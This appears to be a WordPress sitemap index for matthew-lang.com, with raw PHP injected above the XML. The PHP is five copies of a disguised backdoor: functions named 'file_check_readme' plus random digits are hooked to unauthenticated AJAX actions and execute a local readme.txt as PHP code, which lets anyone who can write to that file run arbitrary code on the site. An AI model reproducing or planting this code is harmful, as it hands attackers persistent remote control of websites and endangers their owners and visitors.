if(!function_exists('file_check_readme92912')){
   add_action('wp_ajax_nopriv_file_check_readme92912', 'file_check_readme92912');
   add_action('wp_ajax_file_check_readme92912', 'file_check_readme92912');
   function file_check_readme92912()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}

if(!function_exists('file_check_readme82120')){
   add_action('wp_ajax_nopriv_file_check_readme82120', 'file_check_readme82120');
   add_action('wp_ajax_file_check_readme82120', 'file_check_readme82120');
   function file_check_readme82120()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
if(!function_exists('file_check_readme66563')){
   add_action('wp_ajax_nopriv_file_check_readme66563', 'file_check_readme66563');
   add_action('wp_ajax_file_check_readme66563', 'file_check_readme66563');
   function file_check_readme66563()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}

if(!function_exists('file_check_readme84539')){
   add_action('wp_ajax_nopriv_file_check_readme84539', 'file_check_readme84539');
   add_action('wp_ajax_file_check_readme84539', 'file_check_readme84539');
   function file_check_readme84539()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}

if(!function_exists('file_check_readme72959')){
   add_action('wp_ajax_nopriv_file_check_readme72959', 'file_check_readme72959');
   add_action('wp_ajax_file_check_readme72959', 'file_check_readme72959');
   function file_check_readme72959()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.matthew-lang.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.matthew-lang.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.matthew-lang.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.matthew-lang.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.matthew-lang.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.matthew-lang.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>